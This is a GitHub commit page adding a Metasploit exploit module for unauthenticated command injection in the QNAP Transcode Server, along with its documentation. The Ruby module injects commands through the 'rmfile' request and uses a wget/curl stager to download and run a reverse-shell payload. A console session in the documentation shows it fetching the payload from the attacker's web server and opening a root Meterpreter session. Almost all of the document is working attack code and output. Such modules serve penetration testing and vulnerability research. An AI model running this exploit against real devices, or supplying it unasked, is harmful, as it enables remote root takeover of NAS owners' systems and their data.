Skip to content

Commit 4c285c0

Browse files
committed
Land rapid7#8827, QNAP Transcode Server RCE
2 parents a0585dc + 60f7534 commit 4c285c0

File tree

2 files changed

+179
-0
lines changed

2 files changed

+179
-0
lines changed
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
## Description
2+
3+
This module exploits an unauthenticated remote command injection vulnerability in QNAP NAS devices. The transcoding server listens on port 9251 by default and is vulnerable to command injection using the 'rmfile' command.
4+
5+
6+
## Vulnerable Application
7+
8+
[QNAP](https://www.qnap.com/) designs and delivers high-quality network attached storage (NAS) and professional network video recorder (NVR) solutions to users from home, SOHO to small, medium businesses.
9+
10+
This module was tested successfully on a QNAP TS-431 with firmware version 4.3.3.0262 (20170727).
11+
12+
13+
## Verification Steps
14+
15+
1. Start `msfconsole`
16+
2. Do: `use exploit/linux/misc/qnap_transcode_server`
17+
3. Do: `set RHOST [IP]`
18+
4. Do: `set LHOST [IP]`
19+
5. Do: `run`
20+
6. You should get a session
21+
22+
23+
## Options
24+
25+
**Delay**
26+
27+
How long to wait (in seconds) for the device to download the payload.
28+
29+
30+
## Scenarios
31+
32+
```
33+
msf > use exploit/linux/misc/qnap_transcode_server
34+
msf exploit(qnap_transcode_server) > set rhost 10.1.1.123
35+
rhost => 10.1.1.123
36+
msf exploit(qnap_transcode_server) > check
37+
[*] 10.1.1.123:9251 The target service is running, but could not be validated.
38+
msf exploit(qnap_transcode_server) > set lhost 10.1.1.197
39+
lhost => 10.1.1.197
40+
msf exploit(qnap_transcode_server) > run
41+
42+
[*] Started reverse TCP handler on 10.1.1.197:4444
43+
[*] 10.1.1.123:9251 - Using URL: http://0.0.0.0:8080/IQrgbm
44+
[*] 10.1.1.123:9251 - Local IP: http://10.1.1.197:8080/IQrgbm
45+
[*] 10.1.1.123:9251 - Sent command successfully (52 bytes)
46+
[*] 10.1.1.123:9251 - Waiting for the device to download the payload (30 seconds)...
47+
[*] 10.1.1.123:9251 - Sent command successfully (22 bytes)
48+
[*] 10.1.1.123:9251 - Sent command successfully (13 bytes)
49+
[*] Meterpreter session 1 opened (10.1.1.197:4444 -> 10.1.1.123:53888) at 2017-08-13 05:05:18 -0400
50+
[*] 10.1.1.123:9251 - Sent command successfully (19 bytes)
51+
[*] 10.1.1.123:9251 - Command Stager progress - 100.00% done (109/109 bytes)
52+
[*] 10.1.1.123:9251 - Server stopped.
53+
54+
meterpreter > getuid
55+
Server username: uid=0, gid=0, euid=0, egid=0
56+
meterpreter > sysinfo
57+
Computer : 10.1.1.123
58+
OS : (Linux 3.2.26)
59+
Architecture : armv7l
60+
Meterpreter : armle/linux
61+
```
62+
Lines changed: 117 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Exploit::CmdStager
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'QNAP Transcode Server Command Execution',
15+
'Description' => %q{
16+
This module exploits an unauthenticated remote command injection
17+
vulnerability in QNAP NAS devices. The transcoding server listens
18+
on port 9251 by default and is vulnerable to command injection
19+
using the 'rmfile' command.
20+
21+
This module was tested successfully on a QNAP TS-431 with
22+
firmware version 4.3.3.0262 (20170727).
23+
},
24+
'Author' =>
25+
[
26+
'Zenofex', # Initial vulnerability discovery and PoC
27+
'0x00string', # Initial vulnerability discovery and PoC
28+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
29+
],
30+
'License' => MSF_LICENSE,
31+
'Platform' => 'linux',
32+
'References' =>
33+
[
34+
[ 'URL', 'https://www.exploitee.rs/index.php/QNAP_TS-131' ],
35+
[ 'URL', 'http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm' ]
36+
],
37+
'DisclosureDate' => 'Aug 6 2017',
38+
'Privileged' => true,
39+
'Arch' => ARCH_ARMLE,
40+
'DefaultOptions' =>
41+
{
42+
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
43+
},
44+
'Targets' => [['Automatic', {}]],
45+
'CmdStagerFlavor' => %w{wget curl},
46+
'DefaultTarget' => 0))
47+
48+
register_options(
49+
[
50+
Opt::RPORT(9251),
51+
OptInt.new('DELAY', [true, 'How long to wait for the device to download the payload', 30])
52+
])
53+
deregister_options 'cmdstager::decoder'
54+
end
55+
56+
def check
57+
vprint_status 'Connecting to transcode server...'
58+
59+
connect
60+
sock.put "\x01\x00\x00\x00"
61+
res = sock.get_once
62+
63+
if res.blank?
64+
vprint_status 'No reply from server'
65+
return CheckCode::Safe
66+
end
67+
68+
vprint_status "Received response: #{res}"
69+
70+
return CheckCode::Detected if res.to_s =~ /client's request is accepted/
71+
72+
CheckCode::Safe
73+
rescue ::Rex::ConnectionError
74+
vprint_error 'Connection failed'
75+
return CheckCode::Unknown
76+
ensure
77+
disconnect
78+
end
79+
80+
def execute_command(cmd, opts)
81+
# Filtered characters: 0x20 ! $ & 0x39 , ; = [ ] ^ ` { } %
82+
# Execute each command seperately
83+
cmd.split(';').each do |c|
84+
connect
85+
vprint_status "Executing command: #{c}"
86+
87+
# Replace spaces with tabs
88+
c.tr! ' ', "\t"
89+
90+
sock.put "\x01\x00\x00\x00/|#{c}|\x00"
91+
res = sock.get_once
92+
93+
unless res.to_s =~ /client's request is accepted/
94+
print_status 'Unexpected reply'
95+
break
96+
end
97+
98+
print_status "Sent command successfully (#{c.length} bytes)"
99+
100+
disconnect
101+
102+
if c =~ /^(curl|wget)/
103+
print_status "Waiting for the device to download the payload (#{datastore['DELAY']} seconds)..."
104+
Rex.sleep datastore['DELAY']
105+
end
106+
end
107+
rescue ::Rex::ConnectionError
108+
fail_with Failure::Unreachable, 'Failed to connect to the transcode server'
109+
ensure
110+
disconnect
111+
end
112+
113+
def exploit
114+
vprint_status 'Connecting to transcode server...'
115+
execute_cmdstager linemax: 400
116+
end
117+
end

0 commit comments

Comments
 (0)